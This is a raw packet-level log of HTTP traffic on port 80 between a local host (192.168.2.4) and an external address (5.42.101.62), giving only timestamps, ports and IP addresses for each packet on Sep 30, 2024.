Sep 30, 2024 12:22:32.129219055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129235983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129250050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129276991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129291058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129292011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129291058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129291058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129302025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129311085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129317045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129331112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129334927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129350901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129358053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129367113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129370928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129388094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129396915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129405975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129406929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129425049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129443884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129456997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129472017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129493952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129496098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129508018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129509926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129525900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129528999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129542112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129544020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129555941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129571915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129595995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129630089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129681110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129695892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129712105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129720926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129728079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129734993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129744053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129753113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129760981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129771948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129805088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129862070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129877090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129892111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129905939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129920959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129930019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129935980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129951954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129956961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.129968882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.129973888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130001068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130034924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130052090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130068064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130074024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130095959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130111933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130175114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130188942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130204916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130212069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130220890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130228043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130238056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130249023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130254030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130269051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130274057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130291939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130311966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130319118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130326986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130342960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130350113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130367041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130383968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130418062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130434990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130448103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130455017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130461931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130470037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130476952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130480051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130486012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130501986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130568981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130616903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130657911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130673885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130691051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130696058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130708933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130723953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130750895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130750895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130798101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130811930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130826950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130831957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130844116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130853891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130858898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130867004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130876064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130883932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130901098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130916119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130927086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130942106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130956888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130961895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130975962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.130975962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.130991936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131006956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131067038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131082058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131099939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131103992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131115913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131123066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131135941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131135941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131155968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131176949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131201982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131217957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131242037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131258965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131339073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131354094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131371975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131387949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131397009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131408930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131413937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131417036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131429911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131432056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131448030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131453991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131468058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131479025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131484985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131494045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131511927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131525993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131527901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131542921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131560087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131561995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131576061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131584883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131602049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131614923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131728888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131743908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131763935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131766081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131778002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131783009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131793976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131798983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131813049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131815910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131833076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131839991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131850958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131874084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131932020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131948948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131964922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131968975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131980896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131983042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.131995916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.131997108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132013083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132020950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132039070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132045031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132067919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132081032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132083893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132096052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132114887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132127047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132201910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132215977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132231951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132232904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132249117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132250071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132261992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132267952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132285118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132301092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132338047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132354021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132371902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132375002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132383108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132405043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132409096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132422924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132437944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132445097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132456064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132462025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132471085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132478952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132488012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132494926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132500887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.132513046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.132528067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224586010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224647999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224680901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224704027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224714994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224721909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224737883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224745989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224756002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224766016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224771976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224790096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224800110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224801064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224812984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224816084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224838972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224844933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224855900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224859953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224877119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224884033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224893093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224903107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224917889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224921942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224936008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.224944115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224951029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.224970102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225039005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225054979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225073099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225081921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225090027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225094080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225107908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225112915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225132942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225141048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225291014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225306988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225322962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225336075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225341082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225344896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225357056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225364923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225373983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225378990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225389957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225398064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225406885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225414038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225424051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225434065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225441933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225450993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225465059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225467920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225483894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225495100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225501060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225513935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225518942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225528002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225548029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225564957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225579977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225605011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225617886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225621939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225636959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225641012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225653887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225656033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225675106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225677013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225691080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225713968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225835085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225851059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225866079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225874901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225882053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225893974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225902081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225910902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225920916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225928068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225944042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225951910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225960016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225963116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225980997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.225986958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225995064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.225996971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226013899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226015091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226030111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226036072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226046085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226047039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226059914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226066113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226077080 CEST	80	52534	5.42.101.62	192.168.2.4
